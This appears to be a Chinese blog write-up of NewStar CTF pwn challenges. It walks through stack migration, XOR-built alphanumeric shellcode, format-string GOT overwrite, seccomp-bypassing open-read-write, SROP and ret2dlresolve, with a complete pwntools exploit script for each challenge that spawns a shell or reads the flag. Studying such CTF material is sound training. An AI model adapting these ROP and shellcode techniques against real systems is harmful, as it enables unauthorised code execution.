NewStar Week2-3部分pwn wp

stack_migration

checksec

image
开启了NX保护,但是没有PIE和Canary

代码审计

image
可以看到有两个read和一个printf。第一个read没什么用我们看第二个。因为v2距离rbp有0x50个字节,而read只能读入0x60个字节,意味着我们剩余的字节数只有0x10,没法构造完整的ROP链,那么我们就只能利用栈迁移来变相增加read的长度,在栈上布置ROP链执行。根据printf遇到\x00截断,我们可以带出栈地址,然后在其上布置恶意ROP链即可

做题过程

先泄露出栈地址,用于计算第二次read输入位置
image
这便是buf的地址,在IDA里我们也可以看到buf和v2的相对距离为0x08,所以我们在接收的stack基础上+8便是第二次read的地址
当执行两次leave,ret后,RSP会在stack+8的基础上再抬高八位,所以我们需要在最开始在payload的最开始再填上八位垃圾数据,然后就可以构造ROP链了

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28902)
#p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
rdi_ret = 0x401333
ret_addr = 0x40101a
leave_ret = 0x4012AA
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4011FB
p.recvuntil('name:\n')
p.send(b'a' * 0x08)
p.recvuntil('you: ')
stack = int(p.recv(14),16) + 8
print(hex(stack))
payload_first = b'a' * 0x08 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload_first = payload_first.ljust(0x50,b'\x00')
payload_first += p64(stack) + p64(leave_ret)
p.sendafter('plz:\n',payload_first)
p.recvuntil('soon!\n')
puts_real_addr=u64(p.recvuntil(b'\x7f')[:6].ljust(8,b'\x00'))
print(hex(puts_real_addr))
#gdb.attach(p)
libc_base = puts_real_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
p.recvuntil('name:\n')
p.send(b'a' * 0x08)
p.recvuntil('you: ')
stack_again = int(p.recv(14),16) + 8
payload_second = b'a' * 0x08 + p64(ret_addr) + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload_second = payload_second.ljust(0x50,b'\x00')
payload_second += p64(stack_again) + p64(leave_ret)
p.send(payload_second)
p.interactive()

PS:不要傻傻的用sendline,要用也是要计算好偏移,不然会像我最开始一样死活打不通,原因就是RBP被\n给覆盖错位置导致布栈失败了

感想

我从未如此透彻的明白栈迁移原理,NewStar的题出的好哇!太喜欢了

shellcode_revenage

小白写这道题前必看

b站视频BV1Z14y1B7ji,讲这种类似的题讲的算是很细致了,人家甚至还动调给你,免去了我们大部分无头苍蝇乱撞时间,给大佬磕一个

checksec

image
Canary和NX,老三样,还好没有PIE

源审

image
很明显的ret2shellcode,但是它限制了输入,只允许输入1-9和A-Z,意味着我们得自己手搓shellcode,或者想办法绕过这些限制。像咱这种没学过汇编的就只能想着绕过啦

做题过程

看了别人的wp才知道用xor,虽然咱没学过这个,也只能硬着头皮学下去了。大概思路就是通过xor绕过限制,构造出syscall来调用read,这样的read没有限制,可以直接用pwntools的shellcraft模块快速构造shellcode
首先爆破出一些可以用的汇编代码,用于爆破的代码如下

from pwn import *
context(arch='amd64',os='linux')
a = '123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i1 in a:
    for i2 in a:
        for i3 in a:
            src = f'{i1}{i2}{i3}'
            print(disasm(src.encode()))

这玩意要爆破好久,足足花了我半个多小时才把汇编表导出来,足足10w行...
然后从表里提取出我们需要用的xor
image
把里边的xor eax, DWORD PTR[rdx + xx]xor DWORD PTR[rdx + xx], eax给提取出来用。至于为什么提取的都是rax其实咱也不是很清楚,大抵是因为像这种直接执行某地址的汇编都跟call rax有关罢。
因为我们没法用小写字母,所以我们可以考虑xor先加密再解密,弄出syscall的汇编码
先看看syscall的汇编码
image
可以看到是0xf 0x5,然后根据这个进行异或得到加密码
异或源码

a = b'123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in a:
    print(hex(i),chr(i^0xf),chr(i^0x5))

然后我们可以得到它的异或表
image
从中选一个与0xf和0x5异或均为字母或数字的就好,这里我跟官方选一样的ASCII码值0x41
根据这些我们可以先把汇编码写出来

payload =  '''
xor eax, DWORD PTR [rdx+0x38]   #将rdx+0x38的值赋给eax,相当于加密
xor DWORD PTR [rdx+0x30], eax   #eax和rdx进行xor,相当于解密成了0xf 0x5,调用了syscall
xor eax, DWORD PTR [rdx+0x38]   #清空eax,成0为标准输入
xor DWORD PTR [rdx+0x38], eax   #因为是三字节爆破,这里为了四字节对齐所以加了一行xor,要求不影响[rdx + 30],rsi,rdi,rax,rdx
'''
payload = asm(payload)
print(payload)

后面要填充到[rdx + 0x30]这个地方(这个地方已经成为了syscall),官方给的填充为

payload += b'\x59' * (0x30 - len(payload))

其实我不太懂为什么用\x59,而我想用视频里佬的那种用法,想两字节慢慢凑到[rdx + 0x30]却不行。官方只给出了个pop rcx这个解释,看不太懂和rcx有什么关系,不知道哪位佬能解释下,或者说我日后再看看
现在该往[rdx+0x30]里填充值了

payload += b'\x4e\x44' * 2 #\x4e^\x41 = 0xf,\x44^\x41 = 0x5,不过没懂为什么要乘2
payload += b'A' * 0x08 #ASCII的A字符在十六进制下为0x41

syscall调用出read后,因为read会从0x66660000开始读,所以要把[rdx + 30]之前的东西nop掉,只读取后面的shellcode

p.sendline(b'\x90' * len(payload) + asm(shellcraft.sh()))

至此就已经结束了,执行完后就可以得到shell了

payload

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p = remote('node5.buuoj.cn',25978)
payload =  '''
xor eax, DWORD PTR [rdx+0x38]
xor DWORD PTR [rdx+0x30], eax
xor eax, DWORD PTR [rdx+0x38]
xor DWORD PTR [rdx+0x38], eax
'''
payload = asm(payload)
print(payload)
payload += b'\x59' * (0x30 - len(payload))
payload += b'\x4e\x44' * 2
payload += b'A' * 0x08
p.sendlineafter('magic\n',payload)
pause()
p.sendline(b'\x90' * len(payload) + asm(shellcraft.sh()))
p.interactive()

感想

评价是,太讨厌!花了一个上下午了解这东西还是没完全弄明白,相当于只学习到了个大致模板该怎么写出来,估摸着真要有另一题的话该不会写还是不会写,so sad,所以哪位佬能帮我解惑解惑里边的疑问嘞,咱要被折磨死了(悲)
不过也不能说没有收获罢,解锁了新姿势,shellcode还能这样子写,好耶(平静脸)。以后写这种限制字符shellcode有思路嘞,虽然也还是不一定会写
另外,总感觉这种题就是凭感觉呢,一般好像也想不到xor * N这样换来换去

puts_or_system

checksec

image
Canary和NX,got表可写

see see your code

image
是不是很像之前的某道题呢?也就是个变种,一看就是考验got表改写,把puts的got表改写成system即可,这样调用puts("/bin/sh")实际上就是system("/bin/sh")

write!

nc爆破可控参数先
image
可以数出来可控参数偏移量为8,另外这道题Canary没用,不用去求取它的偏移量
接下来就是泄露puts的真实地址,在构造payload的时候要注意,因为这是x64,有效字节6字节,而高位的两字节全为0,printf在遇到\x00会截断,导致地址无法泄露,所以地址要放在后边,格式化字符串要放在前边,这个时候的%xc%y$hn就要根据题目来进行填补了,不过还好这一题比较简单

payload = b'%9$saaaa' + p64(puts_got) #补aaaa是为了对齐

这样就泄露好了puts的地址,接下来就根据提供的libc.so.6计算基地址从而获取system的地址就好,最后将system的地址改写到printf的got表就好
用pwntools里提供的fmtstr_payload模块会很快

payload = fmtstr_payload(8,{puts_got:system_addr})

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',27796)
elf = ELF('./putsorsys')
libc = ELF('./libc.so.6')
offset_controlled = 8
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
p.sendlineafter('(0/1)\n',b'1')
payload_puts = b'%9$saaaa' + p64(puts_got)
p.send(payload_puts)
p.recvuntil('gift:\n')
puts_real_addr = u64(p.recvuntil('\x7f')[:6].ljust(8,b'\x00'))
libc_base = puts_real_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
payload = fmtstr_payload(offset_controlled, {puts_got: system_addr})
p.sendlineafter('(0/1)\n',b'1')
p.sendlineafter('What\'s it\n',payload)
p.interactive()

感想

原本想写两个payload来着的,但是那种比较耗时间的我不太会,所以就先放弃嘞,以后有时间熟练了再补上来。栈上的x64格式化字符串漏洞got表改写喜欢捏,还好不是非栈上,不然会横死的(

orw&rop

checksec

image
Canary和堆栈不可执行

看看代码

image
开启了沙箱,并且有格式化字符串漏洞,先看看禁用了什么函数
image
可以看到是execve被禁用,没法直接通过shellcraft.sh()来获取shell,但是没有禁用open,read,write函数,因此我们可以利用orw来获取flag

做题

开启了Canary,所以我们可以通过printf把Canary给泄露出来,也可以再泄露一个栈地址来计算基质,先计算可控参数的偏移量
image
可以看到可控偏移量为6,那么再看看Canary位于栈的哪个位置
image
Canary的偏移量为11,如此,我们可以构造出泄露Canary和栈的payload了

payload_canary_puts = b'%11$p%8$saaaaaaa' + p64(puts_got) #补a是为了对齐
p.sendafter('sandbox\x',payload_canary_puts)
canary = int(p.recv(18),16)
puts_real_addr = u64(p.recvuntil('\x7f')[:6].ljust(8,'\x00'))
libc_base = puts_real_addr -libc.symbols['puts']

获取Canary和栈地址后,我们就可以构造ROP链了,调用read来进行再输入,执行orw

payload = b'a * 0x28 + p64(canary) + b'a * 8 + p64(ret_addr) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(shellcode_addr) + p64(pop_rdx_rbx) + p64(0x100) + p64(0) + p64(read) + p64(shellcode_addr)
p.send(payload)
shellcode = shellcraft.open('./flag') + shellcraft.read(3,shellcode_addr + 0x100,0x100) + shellcraft.write(1,shellcode_addr + 0x100,0x100)
shellcode = asm(shellcode)
p.send(shellcode)
p.interactive

至此,便是关键步骤全部结束,可以写完整的payload了

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28518)
elf = ELF('./ezorw')
libc = ELF('./libc.so.6')
shellcode_addr = 0x66660000
offset_controlled = 6
offset_canary = 5 + 6
puts_got = elf.got['puts']
payload_canary_puts = b'%11$p%8$saaaaaaa' + p64(puts_got)
p.sendafter('sandbox\n',payload_canary_puts)
canary = int(p.recv(18),16)
puts_real_addr = u64(p.recvuntil('\x7f')[:6].ljust(8,b'\x00'))
libc_base = puts_real_addr - libc.symbols['puts']
ret = libc_base + 0x29cd6
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_rbx = libc_base + 0x90529
read = libc_base + libc.symbols['read']
payload = b'a' * 0x28 + p64(canary) + b'a' * 8 + p64(ret) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(shellcode_addr) + p64(pop_rdx_rbx) + p64(0x100) + p64(0) + p64(read) + p64(shellcode_addr)
p.send(payload)
shellcode = shellcraft.open('./flag') + shellcraft.read(3,shellcode_addr + 0x100,0x100) + shellcraft.write(1,shellcode_addr + 0x100,0x100)
shellcode = asm(shellcode)
p.send(shellcode)
p.interactive()

感想

这是我第一次真正运用orw,感觉还不错,姿势解锁!

srop

checksec

image
NX保护开启,got表不可改写

code

image
第一个栈溢出过少,不足以构造rop链,而第二个syscall有超大量溢出,结合题目一眼SROP,看看有没有在代码里有其他提醒
image
嗯,找到了0xf,在系统调用号为syscall,那么就是SROP无疑,接下来就是套模板了

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28913)
elf = ELF('./srop')
syscall = elf.plt['syscall']
pop_rdi = 0x401203
bss = 0x404050 + 0x300
leave = 0x401171
frame = SigreturnFrame() #以下构造等同于syscall(59,bss,0,0)
frame.rdi = 59 #execve
frame.rsi = bss - 0x30 #leave rax, [rbp + var_30],加了30,所以要减30
frame.rdx = 0
frame.rcx = 0
frame.rsp = bss + 0x38 #设置栈顶,因为与返回地址距离0x38个字节
frame.rip = syscall
payload_migration = b'a' * 0x30 + flat(bss,leave) #迁移到bss
p.sendafter('srop',payload_migration)
sleep(0.3)
payload = b'/bin/sh\x00' + b'a' * 0x30 + flat(pop_rdi,0xf,syscall,frame) #往bss里输入bin/sh字符执行execve
p.sendline(payload)
p.interactive()

感想

讨厌SROP,理解SROP,感谢SROP

stack_migration_revenge

checksec

image
经典防护,还好没有开PIE

杀杀你的代码(恼)

image
一看就是溢出字节不够长,得进行栈迁移到bss区,甚至没有printf给我爆栈地址,还得我自己构造,你干的好啊revenge(咬牙切齿)
因为溢出字节不够长,我们得想办法多次调用read往bss构造恶意rop链,苦煞我也!
在这里边,我们有且能控制的寄存器只有rbp,只能寄希望于它完成各种挑战,先开辟一个bss区,往里边写入rop,但注意,我们在迁移到bss的时候应该迁移到的是bss+0x50,这是因为在调用read前,rbp会先[rbp+buf],而buf相对rbp的偏移为0x50,意味着会在低0x50字节处开始写入,为了正确写入到bss里,我们应该在bss+0x50
image

payload_migration_bss = b'a' * 0x50 + p64(bss + 0x50) + p64(leave_rax)
p.sendafter('me:\n',payload_migration_bss)

迁移完成后就可以构造rop链了,用于泄露栈地址,但记住此时还只是写入,而非迁移,最后还得再迁入bss-0x08(pop rbp本质上会抬高rsp八位)

p.recvuntil('funny\n')
payload_leak = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x800) + p64(leave_rax) #第二次迁移bss开大一些是因为这次有更多参数,为了防止覆盖got表或其它重要数据导致报错,所以要往大里开bss
payload_leak = payload_leak.ljust(0x50,b'\x00')
payload_leak += p64(bss - 0x08) + p64(leave)
p.send(payload_leak)
p.recvuntil('funny\n')
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) 
libc_base = puts_real_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

其实到这里就差不多了,把栈地址泄露出来后也就差不多结束了,再一次的调用read进行栈迁移即可

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',27909)
elf = ELF('./stack_migration_revenge')
libc = ELF('./libc.so.6')
leave = 0x401227
leave_rax = 0x4011FF
bss = 0x404020 + 0x300
pop_rdi = 0x4012b3
pop_rbp = 0x40115d
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
payload_migration_bss = b'a' * 0x50 + p64(bss + 0x50) + p64(leave_rax) #bss+50是因为leave_rax这里,因为[rbp+buf],而buf相对rbp为0x50,会往低0x50的地方写入数据,为了让它正确写入,应把bss抬高0x50字节,回来这也是为了调用read进行bss写入
p.sendafter('me:\n',payload_migration_bss)
p.recvuntil('funny\n')
payload_leak = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x800) + p64(leave_rax) #第二次迁移bss开大一些是因为这次有更多参数,为了防止覆盖got表或其它重要数据导致报错,所以要往大里开bss
payload_leak = payload_leak.ljust(0x50,b'\x00')
payload_leak += p64(bss - 0x08) + p64(leave) #这里栈迁移到bss - 0x08是因为pop rbp的时候将rsp抬高了8位,为了正确执行代码,应当迁移到这(因为之前是在bss写入的)
p.send(payload_leak)
p.recvuntil('funny\n')
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) 
libc_base = puts_real_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(0x50,b'\x00')
payload += p64(bss + 0x800 -0x58) + p64(leave) 
p.send(payload)
p.interactive()

碎碎念

你的revenge好啊!给你复仇成功了,真的让我好心痛好心痛啊!
这种多次栈迁移的题确实恶心,得多动动脑筋,不然真的很容易出错。不过这个题给我裨益很大!原来栈迁移在没有printf泄露栈地址的情况下还能这样构造rop链泄露栈地址,从而得到shell,pwn能力level up!
但我果然还是很讨厌你(悲),幸好你没开PIE,不然我可真要起杀心了(恼)

dlresolve

推荐

看这个之前,我必须强烈推荐佬的这篇博客,真的就是救星,完完全全的救星,不然我迟早被x64气晕

https://blog.csdn.net/qq_51868336/article/details/114644569

checksec

image
NX保护,got表可写

讨厌的代码

image
非常好代码,使我杀心渐起,一点都不愿意给你泄露栈地址的代码不是好代码!既然题目提醒我们要用ret2dlresolve,那就只能往这个方向走了

注意

想要写ret2dlresolve这类题之前,我们应该弄清楚_dl_runtime_resolve的具体运作方法,这里给几篇佬的博客用于理解

https://www.cnblogs.com/ZIKH26/articles/15944406.html
x86的较为方便理解的ret2deresolve做法

https://blog.csdn.net/qq_51868336/article/details/114644569
我个人认为最全的ret2dlresolve的博客,包含x86和x64,并且含有超详细的解释Payload和区分有无RELRO

payload

因为我不知道怎么解释做题,这里就直接甩payload了,代码里解释(其实也就把一些佬的注释搬过来然后加上自己的疑问)

#x64的情况下,ret2dlresolve的思路也是替换got表,使value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',26473)
elf = ELF('./dlresolve')
libc = ELF('./libc-2.31.so')
read_plt = elf.sym['read']
read_got = elf.got['read']
vuln_addr = 0x401170
plt_addr = 0x401020
plt_load = p64(plt_addr + 0x06)
bss_addr = 0x404040 + 0x200
pop_rdi = 0x40115e
pop_rsi = 0x40116b
l_addr = libc.sym['system'] - libc.sym['read'] #别问,问就是不知道为什么这样命名,似乎与函数定义有关
def fake_linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    linkmap = p64(offset & (2 ** 64 - 1)) # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap += p64(0) #任意值,似乎与.dyamisc结构有关
    linkmap += p64(fake_linkmap_addr + 0x18)#伪造的rel.plt地址,加0x18可能是因为Elf64_rela结构体大小为0x18子节?
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) #Rela->r_offset,设置可读写地址用于存放函数解析后的真实地址,虽然我不知道为什么要加0x30再减去偏移
    linkmap += p64(0x7) #Rela->r_info,索引symtab的对应项,不知道为什么是0x7
    linkmap += p64(0) #Rela->r_addend,any number
    linkmap += p64(0) #l_ns
    linkmap += p64(0) #同第二行代码,dyamisc
    linkmap += p64(known_func_ptr - 0x08) #为什么减0x08的原因我推荐的佬的博客里有写,使if判为0进else
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A') #DT_STRTAB指针位于link_map_addr +0x68(32位下是0x34)
    linkmap += p64(fake_linkmap_addr) #用不到strtab,可随意设置一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) #等同于fake_linkmap_ addr + 0x70,对应DT_SYMTAB的地址.其实没懂这个为什么加0x38等同于fake_linkmap_addr + 0x70
    linkmap = linkmap.ljust(0xf8,b'A') #DT_JMPREL指针位于link_map_addr +0xF8(32位下是0x7C)
    linkmap += p64(fake_linkmap_addr + 0x08)
    return linkmap

fake_link_map = fake_linkmap_payload(bss_addr,read_got,l_addr)#伪造linkmap
payload = flat(b'a' * (0x70 + 0x08),pop_rdi,0,pop_rsi,bss_addr,read_plt, #把link_map 写到bss段上 
               pop_rsi,0,#使栈十六字节对齐,否则无法调用system(Ubuntu16.04以上的检查系统)
               pop_rdi,bss_addr + 0x48,plt_load,bss_addr,0)#将bin/sh传进rdi,并调用函数_dl_runtim_resolve,传入伪造的link_map和索引
p.sendline(payload)
p.send(fake_link_map)
p.interactive()

感想

dlresolve!!!你该死啊!!!恁地这么的恶心人(悲),x64和x86的做法居然有这么多差别,怪不得我gdb调来调去弄不出个所以然,竟是被耍了(悲)
说回正题,做完ret2dlresolve之后,我觉得它是一种很死的题型,基本上套个模板就解决了绝大部分问题,剩下的也就只是微调bss和函数索引了,比SROP还要死板,怪不得在比赛里很少出,出估计也是x64而不是x86

总结

这个week2和3确实令我受益匪浅,学到了非常多非常多的知识,题目都很典型,针对特定的知识点进行考察,出的很棒!虽然常常令我想杀人,但确实是有水准的题目。不过,我学了好些天了,竟还没有week3的实力,我自裁了(悲),任重道远

posted @ 2024-03-06 11:01  Sn0wFlak3  阅读(63)  评论(0编辑  收藏  举报